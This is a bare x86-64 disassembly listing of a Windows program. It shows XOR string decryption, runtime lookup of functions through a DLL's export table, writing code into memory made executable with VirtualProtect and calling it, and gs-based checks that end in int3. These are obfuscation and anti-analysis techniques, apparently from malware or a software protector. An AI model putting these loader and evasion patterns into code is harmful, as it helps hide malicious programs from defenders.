movabs rbx, 0x1c99559a1
movabs rsi, 0x3932ab3440
movabs r9, 0x1c99559a20
lea r10d, [rax + 0x10]
movabs r11, 0x8080808080808081
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rbx
shr rdi, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x288], dil
add r8, r15
add r9, r12
add r10, 0x10
cmp r9, rsi
jb 0x14002586a
mov byte [rbp + 0x298], r14b
lea rcx, [rbp + 0x288]
call fcn.14001f4a0
mov rax, qword gs:[0x35]
mov esi, 0xce3e160c
cmp rax, rsi
movabs rbx, 0x1cf36c5eb18189bc
jne 0x140025993
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x140025973
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x140025973
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x140025993
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf50]
xor rdx, rax
mov rcx, qword [rbp + 0xf48]
xor ecx, edx
call fcn.140095438
int3
lea rdi, [rbp + 0x285e0]
xor eax, eax
mov ecx, 0x105
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x285e0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140025b34
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x318], xmm0
mov word [rbp + 0x328], reloc.WS2_32.dll_recvfrom
mov r10, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1c99559a1
movabs r8, 0x1e62eaf3c2
lea r11d, [rax + 0x11]
movabs r9, 0x3cc5d5e784
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x318], dil
add r10, r15
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x140025a08
mov byte [rbp + 0x329], r14b
movdqa xmm0, xmmword [0x1400d5530]
movdqu xmmword [rbp + 0xb88], xmm0
movdqa xmm1, xmmword [0x1400d5460]
movdqu xmmword [rbp + 0xb98], xmm1
mov word [rbp + 0xba8], 0xb247
xor eax, eax
mov byte [rbp + 0xbaa], al
mov r8, r14
lea r10d, [rax + 0x22]
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xb88], dil
add r8, r15
add r9, r12
add r10, 0x22
movabs rax, 0x798babcf08
cmp r9, rax
jb 0x140025aa4
mov byte [rbp + 0xbaa], r14b
xor r9d, r9d
lea r8, [rbp + 0x318]
lea rdx, [rbp + 0xb88]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r15d
call fcn.140095438
int3
mov rax, qword [rbp + 0xf98]
mov edi, dword [rax + 0x50]
mov r13, qword [rbp + 0xe60]
mov qword [rbp + 0xf60], r13
cmp qword [0x1400e2570], r14
jne 0x140025b76
mov ecx, 0x26b0
call fcn.140099cfc
test rax, rax
je 0x140025b76
mov qword [rax], r14
mov qword [rax + 8], 0x19c
mov qword [0x1400e2570], rax
mov qword [rbp + 0xe58], r14
mov qword [rbp + 0x1050], rdi
movdqa xmm0, xmmword [0x1400d5630]
movdqu xmmword [rbp + 0x7f8], xmm0
mov dword [rbp + 0x808], 0x15d46150
mov dword [rbp + 0x80c], 0x6e26d0
mov rdi, r14
movabs r13, 0xca8495ff84371
mov qword [rsp + 0x20], r13
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7f8]
lea rcx, [rbp + 0x7f8]
call fcn.14002fc44
xor al, dil
mov byte [rbp + rdi + 0x7f8], al
add rdi, r15
cmp rdi, 0x17
jb 0x140025bb5
mov byte [rbp + 0x80f], r14b
or rdx, 0xffffffffffffffff
mov rbx, qword [0x1400e2570]
test rbx, rbx
mov r13, qword [rbp + 0xf60]
je 0x140025cd1
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140025c89
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
cmovb rcx, rdx
call fcn.140099cfc
mov rsi, rax
test rax, rax
je 0x140025cce
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e2570]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b7ef0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b8590
mov rcx, rdi
call fcn.140099bd8
mov qword [0x1400e2570], rsi
mov rbx, rsi
lea rax, [rbp + 0x7f8]
mov qword [rbp + 0xf70], rax
mov qword [rbp + 0xf78], Ordinal_33
mov byte [rbp + 0xf80], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf70]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf80]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
mov dword [rbp + 0x120], 0x84015c7a
mov dword [rbp + 0x124], 0xe3e51d90
mov word [rbp + 0x128], Ordinal_143
mov rdi, r14
movabs rbx, 0xca8495ff84371
mov qword [rsp + 0x20], rbx
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x120]
lea rcx, [rbp + 0x120]
call fcn.14002fb5c
xor al, dil
mov byte [rbp + rdi + 0x120], al
inc rdi
cmp rdi, 9
jb 0x140025cfb
mov byte [rbp + 0x129], r14b
mov rbx, qword [0x1400e2570]
test rbx, rbx
je 0x140025e14
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140025dcb
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140099cfc
mov rsi, rax
test rax, rax
je 0x140025e11
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e2570]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b7ef0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b8590
mov rcx, rdi
call fcn.140099bd8
mov qword [0x1400e2570], rsi
mov rbx, rsi
lea rax, [rbp + 0x120]
mov qword [rbp + 0xf70], rax
mov eax, 0xa
mov qword [rbp + 0xf78], rax
mov byte [rbp + 0xf80], 0
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf70]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf80]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
xor r14d, r14d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x140026046
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140026046
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140026046
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140026046
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r14
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x140026046
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x7f8]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140025eab
inc rax
test edi, edi
jne 0x140025e96
test r8d, r8d
je 0x140025ebd
inc rdx
cmp rdx, rsi
jb 0x140025e85
jmp 0x140026046
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x140026046
mov r14d, dword [rdx + 4]
xor r15d, r15d
test r14d, r14d
jns 0x140025ee2
mov r14d, r15d
jmp 0x140026046
mov r9d, 4
mov r8d, 0x3000
mov r12d, 0x1000
mov edx, r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.14008e470
or dword [rbp + 0x22284], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x20f00]
call fcn.140030720
lea rcx, [rbp + 0x20f00]
call fcn.14002fcb8
mov ebx, eax
movabs rax, 0xc0906c513cedb3
mul rbx
mov ecx, ebx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rbx, rax
mov rdi, r15
lea rcx, [rbp + 0x20f00]
call fcn.14002fcb8
mov eax, eax
mov qword [rbp + rdi*8 + 0x296f0], rax
inc rdi
cmp rdi, 0x200
jl 0x140025f59
mov r8, r12
lea rdx, [rbp + 0x296f0]
mov rcx, rsi
call fcn.1400b7ef0
mov dword [0x1400e08e4], r14d
lea rdi, [rbx + rsi]
movsd xmm0, qword [0x1400e08e0]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e08e8]
mov word [rdi + 8], ax
mov al, byte [0x1400e08ea]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xfa8], r15d
lea r9, [rbp + 0xfa8]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x1050]
mov r8d, 3
lea rdx, [rbp + 0xe58]
mov rcx, r13
call rdi
mov r14d, eax
lea r9, [rbp + 0xfa8]
mov r8d, dword [rbp + 0xfa8]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, r12
xor edx, edx
mov rcx, rsi
call fcn.1400b8590
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400e08e4], r15d
mov rdi, qword [0x1400e2570]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor edx, edx
mov esi, edx
test r15, r15
jle 0x1400260fa
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf80], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400260e8
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400260e8
mov al, byte [rbp + 0xf80]
test al, al
jne 0x1400260ad
xor edx, edx
call fcn.1400b8590
jmp 0x1400260e6
cmp al, 1
jne 0x1400260e8
mov rdx, rcx
lea rcx, [rbp + 0x1190]
call fcn.140030488
xor edx, edx
lea rcx, [rbp + 0x1190]
call fcn.14003063c
lea rcx, [rbp + 0x1190]
call fcn.1400305cc
lea rcx, [rbp + 0x1190]
call fcn.140001f28
xor edx, edx
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x140026071
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b8590
mov rcx, rdi
call fcn.140099bd8
xor r15d, r15d
mov qword [0x1400e2570], r15
test r14d, r14d
js 0x14002e5d8
mov rax, qword [rbp + 0xe58]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14002e5d8
mov r13, qword [rbp + 0xe60]
mov ecx, 0x26b0
call fcn.140099cfc
test rax, rax
je 0x14002615e
mov qword [rax], r15
mov qword [rax + 8], 0x19c
mov qword [0x1400e2570], rax
mov qword [rbp + 0xe78], r15
mov qword [rbp + 0x1018], 0x1000
movdqa xmm0, xmmword [0x1400d5630]
movdqu xmmword [rbp + 0x810], xmm0
mov dword [rbp + 0x820], 0x15d46150
mov dword [rbp + 0x824], 0x6e26d0
mov rdi, r15
movabs r14, 0xca8495ff84371
mov qword [rsp + 0x20], r14
mov r9d, reloc.WS2_32.dll_socket
mov r8, rdi
mov dl, byte [rbp + rdi + 0x810]
lea rcx, [rbp + 0x810]
call fcn.14002fc44
xor al, dil
mov byte [rbp + rdi + 0x810], al
inc rdi
cmp rdi, 0x17
jb 0x1400261a1
mov byte [rbp + 0x827], r15b
mov rbx, qword [0x1400e2570]
test rbx, rbx
je 0x1400262c8
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x140026274
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140099cfc
mov rsi, rax
test rax, rax
je 0x1400262bb
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e2570]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b7ef0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b8590
mov rcx, rdi
call fcn.140099bd8
mov qword [0x1400e2570], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x810]
mov qword [rbp + 0xf70], rax
mov qword [rbp + 0xf78], Ordinal_33
mov byte [rbp + 0xf80], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf70]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf80]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x1400262be
xor r15d, r15d
movabs r14, 0xca8495ff84371
mov dword [rbp + 0x130], 0x84015c7a
mov dword [rbp + 0x134], 0xe3e51d90
mov word [rbp + 0x138], Ordinal_143
mov rdi, r15
mov qword [rsp + 0x20], r14
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x130]
lea rcx, [rbp + 0x130]
call fcn.14002fb5c
xor al, dil
mov byte [rbp + rdi + 0x130], al
inc rdi
cmp rdi, 9
jb 0x1400262e8
mov byte [rbp + 0x139], r15b
mov rbx, qword [0x1400e2570]
test rbx, rbx
je 0x140026406
mov r14, qword [rbx]
mov rcx, qword [rbx + 8]
cmp r14, rcx
jl 0x1400263bb
lea rax, [rcx + rcx*2]
lea r15, [rax*8]
lea rdi, [rcx + 0x19c]
lea rcx, [rdi + rdi*2]
shl rcx, 3
add rcx, 0x10
mov rax, 0xffffffffffffffff
cmovb rcx, rax
call fcn.140099cfc
mov rsi, rax
test rax, rax
je 0x140026403
mov qword [rax], r14
mov qword [rax + 8], rdi
mov rdi, qword [0x1400e2570]
lea rdx, [rdi + 0x10]
lea rcx, [rax + 0x10]
mov r8, r15
call fcn.1400b7ef0
lea r8, [r15 + 0x10]
xor edx, edx
mov rcx, rbx
call fcn.1400b8590
mov rcx, rdi
call fcn.140099bd8
mov qword [0x1400e2570], rsi
mov rbx, rsi
xor r15d, r15d
lea rax, [rbp + 0x130]
mov qword [rbp + 0xf70], rax
mov eax, 0xa
mov qword [rbp + 0xf78], rax
mov byte [rbp + 0xf80], r15b
lea rax, [r14 + r14*2]
movups xmm0, xmmword [rbp + 0xf70]
movups xmmword [rbx + rax*8 + 0x10], xmm0
movsd xmm1, qword [rbp + 0xf80]
movsd qword [rbx + rax*8 + 0x20], xmm1
lea rax, [r14 + 1]
mov qword [rbx], rax
jmp 0x140026406
xor r15d, r15d
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rcx, rax
test rax, rax
je 0x14002649a
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002649a
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002649a
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002649a
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov ebx, dword [rax + 0x24]
add rbx, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r15
mov esi, dword [rax + 0x18]
test rsi, rsi
je 0x14002649a
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x810]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140026489
inc rax
test edi, edi
jne 0x140026474
test r8d, r8d
je 0x140026515
inc rdx
cmp rdx, rsi
jb 0x140026463
mov r14d, r15d
mov rdi, qword [0x1400e2570]
mov r15, qword [rdi]
mov rax, qword [rdi + 8]
lea rcx, [rax + rax*2]
lea r12, [rcx*8 + 0x10]
xor r13d, r13d
mov esi, r13d
test r15, r15
jle 0x1400266e4
lea rbx, [rdi + 0x10]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movsd qword [rbp + 0xf80], xmm0
movq rcx, xmm1
test rcx, rcx
je 0x1400266d2
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x1400266d2
mov al, byte [rbp + 0xf80]
test al, al
jne 0x140026699
xor edx, edx
call fcn.1400b8590
jmp 0x1400266d2
movzx eax, word [rbx + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002649a
mov r14d, dword [rdx + 4]
test r14d, r14d
js 0x14002649a
cmp al, 1
jne 0x1400266d2
mov rdx, rcx
lea rcx, [rbp + 0x10b0]
call fcn.140030488
xor edx, edx
lea rcx, [rbp + 0x10b0]
call fcn.14003063c
lea rcx, [rbp + 0x10b0]
call fcn.1400305cc
lea rcx, [rbp + 0x10b0]
call fcn.140001f28
inc esi
add rbx, 0x18
movsxd rax, esi
cmp rax, r15
jl 0x1400264ca
mov r8, r12
xor edx, edx
mov rcx, rdi
call fcn.1400b8590
mov rcx, rdi
call fcn.140099bd8
mov qword [0x1400e2570], r13
test r14d, r14d
js 0x14002e43f
mov r12, qword [rbp + 0xe78]
mov qword [rbp - 0x30], r12
test r12, r12
je 0x14002e43f
movabs rax, 0xfc7aeea332188
mov qword [rbp + 0x1230], rax
movabs rax, 0xd9938cff1332a
mov qword [rbp + 0x1238], rax
lea rax, [r12 + 0x28]
mov qword [rbp + 0x1240], rax
mov rsi, qword [rbp - 0x40]
mov qword [rbp + 0x1248], rsi
mov rax, qword [rbp + 0xf98]
mov eax, dword [rax + 0x50]
mov qword [rbp + 0x1250], rax
mov rsi, qword [rsp + 0x70]
mov qword [rsp + 0x70], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rbp + 0xf60], r15
mov qword [rbp + 0xf68], r13
mov r8d, r13d
mov rdi, r13
mov r14d, 1
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf60]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf68], cl
add rdi, r14
cmp r8d, 8
jb 0x140026795
mov r11d, r13d
mov rax, r13
lea r8, [rbp + 0x1230]
movabs r15, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf68]
mov r10b, dil
xor r10b, 0x28
mov ebx, edi
mov ecx, r13d
lea r9, [rbp + 0xf68]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf68]
mov rax, r15
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x14002680e
movzx ecx, r10b
add ecx, ebx
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
add cl, byte [r8]
xor cl, dil
mov byte [r8], cl
add r11d, r14d
add r8, r14
movsxd rax, r11d
cmp rax, 0x28
jb 0x1400267f0
mov qword [rbp + 0xf68], rsi
movabs r15, 0xa9ff9483ccaeddf
mov qword [rsp + 0x70], r15
xor esi, esi
mov qword [rbp + 0xf60], rsi
mov r8d, esi
mov edi, esi
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rbp + rdi + 0xf68]
imul ecx, eax
movzx eax, byte [rsp + rdi + 0x70]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xf60], cl
add rdi, r14
cmp r8d, 8
jb 0x1400268aa
mov r11d, esi
mov rax, rsi
lea r8, [rbp + 0x285e0]
movabs r12, 0x8080808080808081
and eax, 7
movzx edi, byte [rbp + rax + 0xf60]
mov r10b, dil
xor r10b, 5
mov ebx, edi
mov ecx, esi
lea r9, [rbp + 0xf60]
movzx edi, dil
movzx eax, byte [r9]
add rdi, rax
xor rdi, qword [rbp + 0xf60]
mov rax, r12
imul rdi
add rdx, rdi
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
sub rdi, rax
add ecx, r14d
add r9, r14
cmp ecx, 8
jb 0x140026922
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x480], xmm0
mov word [rbp + 0x490], reloc.WS2_32.dll_recvfrom
mov r10, r13
movabs rbx, 0x1c99559a2
movabs rsi, 0x8080808080808081
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1e62eaf3c2
movabs r9, 0x3cc5d5e784
movabs r14, 0x1c99559a1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r10 + 0x480]
xor dil, r10b
mov byte [rbp + r10 + 0x480], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002e493
mov byte [rbp + 0x491], r13b
movdqa xmm0, xmmword [0x1400d54b0]
movdqu xmmword [rbp + 0x968], xmm0
mov dword [rbp + 0x978], 0x6e68f9e0
mov dword [rbp + 0x97c], 0xf3eaa77e
mov dword [rbp + 0x980], 0x7964eb8c
xor eax, eax
mov byte [rbp + 0x984], al
mov r8, r13
lea r10d, [rax + 0x1c]
movabs r9, 0x320c55cdb8
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x968], dil
inc r8
add r9, rbx
add r10, 0x1c
movabs rax, 0x6418ab9b70
cmp r9, rax
jb 0x14002e546
mov byte [rbp + 0x984], r13b
xor r9d, r9d
lea r8, [rbp + 0x480]
lea rdx, [rbp + 0x968]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x498], xmm0
mov word [rbp + 0x4a8], reloc.WS2_32.dll_recvfrom
mov r10, r15
movabs rbx, 0x1c99559a2
movabs rsi, 0x8080808080808081
movabs r8, 0x1e62eaf3c2
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r9, 0x3cc5d5e784
movabs r14, 0x1c99559a1
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x498], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x14002e62c
mov byte [rbp + 0x4a9], r15b
movdqa xmm0, xmmword [0x1400d54f0]
movdqu xmmword [rbp + 0x750], xmm0
mov dword [rbp + 0x760], 0x7664ebc7
mov word [rbp + 0x764], r15w
mov r9, r15
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r8, 0x2589405a4a
movabs r10, 0x4b1280b494
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r14
shr rdi, cl
mov rax, rsi
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rsi
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, byte [rbp + r9 + 0x750]
xor dil, r9b
mov byte [rbp + r9 + 0x750], dil
inc r9
add r8, rbx
add r11, 0x15
cmp r8, r10
jb 0x14002e6cf
mov byte [rbp + 0x765], r15b
xor r9d, r9d
lea r8, [rbp + 0x498]
lea rdx, [rbp + 0x750]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.140095438
int3
mov r15d, 0xce3e160c
cmp rax, r15
jne 0x14002e80b
mov rax, qword gs:[0x2c]
mov ecx, 0xfec3ba48
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rcx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
je 0x14002e7eb
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf48]
cmp rax, rcx
je 0x14002e7eb
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf50]
cmp rax, rcx
jne 0x14002e80b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf50]
xor rdx, rax
mov rcx, qword [rbp + 0xf48]
xor ecx, edx
call fcn.140095438
int3
movdqa xmm0, xmmword [0x1400d5660]
movdqu xmmword [rbp + 0x4b0], xmm0
mov word [rbp + 0x4c0], reloc.WS2_32.dll_recvfrom
mov r10, r14
movabs rbx, 0x8080808080808081
movabs rsi, 0x1c99559a1
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1e62eaf3c2
movabs r9, 0x3cc5d5e784
mov cl, r10b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x4b0], dil
inc r10
add r8, r12
add r11, 0x11
cmp r8, r9
jb 0x14002e855
mov byte [rbp + 0x4c1], r14b
movdqa xmm0, xmmword [0x1400d56a0]
movdqu xmmword [rbp + 0x870], xmm0
mov dword [rbp + 0x880], 0x5394cb7b
mov dword [rbp + 0x884], 0x4a4217
mov r8, r14
mov r10d, reloc.WS2_32.dll_socket
movabs r9, 0x291c6b0d8e
mov cl, r8b
and cl, r13b
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x870], dil
inc r8
add r9, r12
add r10, 0x17
movabs rax, 0x5238d61b1c
cmp r9, rax
jb 0x14002e8f0
mov byte [rbp + 0x887], r14b
xor r9d, r9d
lea r8, [rbp + 0x4b0]
lea rdx, [rbp + 0x870]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x35]
cmp rax, r15
jne 0x14002ea2b
mov rax, qword gs:[0x2c]
movabs rbx, 0x1cf36c5eb18189bc
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf48], rax
mov rax, qword gs:[0x2c]
xor rax, rbx
mov qword [rbp + 0xf50], rax
mov rcx, qword gs:[0x2c]
mov rax, qword [rbp + 0xf40]
